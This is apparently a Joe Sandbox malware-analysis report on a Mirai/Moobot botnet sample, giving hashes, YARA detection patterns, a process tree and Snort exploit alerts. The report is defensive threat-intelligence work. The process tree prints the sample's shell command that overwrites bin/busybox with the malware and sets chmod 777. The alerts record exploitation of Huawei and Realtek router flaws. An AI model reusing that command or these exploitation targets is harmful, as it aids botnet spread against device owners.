Create Interactive Tour

Linux Analysis Report
skid.x86.elf

Overview

General Information

Sample Name:	skid.x86.elf
Analysis ID:	1270325
MD5:	c42320ae2f46763dc5cb64f4ef4a353b
SHA1:	c5ed8c5cd98f3d8efc9f69a14c6de2c2dfb78b5a
SHA256:	f51ad680bbdee56fd654e1b7cc607f36f18763d95bb3ba24aaeffd67f22e3a24
Tags:	Mirai
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Executes the "chmod" command used to modify permissions

Executes the "systemctl" command used for controlling the systemd system and service manager

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Deletes log files

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1270325
Start date and time:	2023-07-11 01:47:27 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	skid.x86.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/53@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/skid.x86.elf
PID:	6278
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	qazwsxedc
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6187, Parent: 1)

logrotate (PID: 6187, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6229, Parent: 6187)

gzip (PID: 6229, Parent: 6187, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6230, Parent: 6187)

sh (PID: 6230, Parent: 6187, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6231, Parent: 6230)

invoke-rc.d (PID: 6231, Parent: 6230, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6232, Parent: 6231)

runlevel (PID: 6232, Parent: 6231, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6234, Parent: 6231)

systemctl (PID: 6234, Parent: 6231, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6235, Parent: 6231)

ls (PID: 6235, Parent: 6231, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6236, Parent: 6231)

systemctl (PID: 6236, Parent: 6231, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6237, Parent: 6187)

gzip (PID: 6237, Parent: 6187, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6238, Parent: 6187)

sh (PID: 6238, Parent: 6187, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6239, Parent: 6238)

rsyslog-rotate (PID: 6239, Parent: 6238, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6240, Parent: 6239)

systemctl (PID: 6240, Parent: 6239, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6189, Parent: 1)

install (PID: 6189, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6204, Parent: 1)

find (PID: 6204, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6228, Parent: 1)

mandb (PID: 6228, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

skid.x86.elf (PID: 6278, Parent: 6119, MD5: c42320ae2f46763dc5cb64f4ef4a353b) Arguments: /tmp/skid.x86.elf

skid.x86.elf New Fork (PID: 6279, Parent: 6278)

sh (PID: 6279, Parent: 6278, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/skid.x86.elf bin/busybox; chmod 777 bin/busybox"

sh New Fork (PID: 6280, Parent: 6279)

rm (PID: 6280, Parent: 6279, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/busybox

sh New Fork (PID: 6281, Parent: 6279)

mkdir (PID: 6281, Parent: 6279, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6282, Parent: 6279)

mv (PID: 6282, Parent: 6279, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/skid.x86.elf bin/busybox

sh New Fork (PID: 6283, Parent: 6279)

chmod (PID: 6283, Parent: 6279, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/busybox

skid.x86.elf New Fork (PID: 6284, Parent: 6278)

skid.x86.elf New Fork (PID: 6285, Parent: 6284)

skid.x86.elf New Fork (PID: 6286, Parent: 6284)

skid.x86.elf New Fork (PID: 6287, Parent: 6284)

skid.x86.elf New Fork (PID: 6289, Parent: 6284)

dash New Fork (PID: 6331, Parent: 4331)

rm (PID: 6331, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.ZqNnnAWZma /tmp/tmp.TjOPWNRkpy /tmp/tmp.16EeY7e5Sq

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
skid.x86.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
skid.x86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
skid.x86.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
skid.x86.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x108e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x108f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10908:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1091c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10930:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10944:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10958:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1096c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
skid.x86.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xcf2c:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
skid.x86.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xd71b:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
skid.x86.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xa8d2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xaa0c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
skid.x86.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x101ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
skid.x86.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xd2db:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
skid.x86.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xc872:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
skid.x86.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xd5a6:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
skid.x86.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xca6b:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
skid.x86.elf	Linux_Trojan_Mirai_1e0c5ce0	unknown	unknown	0x14a7:$a: 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00 0x31e8:$a: 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00
skid.x86.elf	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x34a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
skid.x86.elf	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x713f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
skid.x86.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x122a8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
skid.x86.elf	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x44d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
skid.x86.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4fa2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
skid.x86.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x124d1:$s1: LCOGQGPTGP 0x12336:$s3: CFOKLKQVPCVMP 0x1231e:$s4: QWRGPTKQMP 0x122b4:$s5: HWCLVGAJ
Click to see the 14 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6278.1.0000000000400000.0000000000415000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6278.1.0000000000400000.0000000000415000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6278.1.0000000000400000.0000000000415000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x108e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x108f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10908:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1091c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10930:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10944:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10958:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1096c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xcf2c:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xd71b:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xa8d2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xaa0c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x101ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xd2db:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xc872:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xd5a6:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xca6b:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_1e0c5ce0	unknown	unknown	0x14a7:$a: 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00 0x31e8:$a: 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x34a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x713f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x122a8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x44d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x4fa2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6278.1.0000000000400000.0000000000415000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x124d1:$s1: LCOGQGPTGP 0x12336:$s3: CFOKLKQVPCVMP 0x1231e:$s4: QWRGPTKQMP 0x122b4:$s5: HWCLVGAJ
Process Memory Space: skid.x86.elf PID: 6278	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: skid.x86.elf PID: 6278	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: skid.x86.elf PID: 6278	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x7d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x823:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x837:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x84b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x85f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x873:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x887:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x89b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x913:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x927:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x93b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x94f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x963:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 17 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.96.172

Timestamp:	192.168.2.23156.254.96.17248682372152835222 07/11/23-01:49:17.364110
SID:	2835222
Source Port:	48682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.234.227.19

Timestamp:	192.168.2.23156.234.227.1950390528692027339 07/11/23-01:49:24.157609
SID:	2027339
Source Port:	50390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.30.58

Timestamp:	192.168.2.23156.247.30.5838688372152835222 07/11/23-01:49:24.976204
SID:	2835222
Source Port:	38688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.51.160

Timestamp:	192.168.2.23156.254.51.16033900528692027339 07/11/23-01:48:52.573017
SID:	2027339
Source Port:	33900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.11.122

Timestamp:	192.168.2.23156.241.11.12259732528692027339 07/11/23-01:49:09.658399
SID:	2027339
Source Port:	59732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.99.198

Timestamp:	192.168.2.23156.235.99.19835024528692027339 07/11/23-01:49:28.788242
SID:	2027339
Source Port:	35024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.12.136

Timestamp:	192.168.2.23156.241.12.13643698372152835222 07/11/23-01:49:32.082378
SID:	2835222
Source Port:	43698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.10.162

Timestamp:	192.168.2.23156.224.10.16255834372152835222 07/11/23-01:48:57.006085
SID:	2835222
Source Port:	55834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.15.21

Timestamp:	192.168.2.23156.241.15.2159128372152835222 07/11/23-01:49:03.507160
SID:	2835222
Source Port:	59128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.106.155

Timestamp:	192.168.2.23156.254.106.15550860372152835222 07/11/23-01:49:25.367157
SID:	2835222
Source Port:	50860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

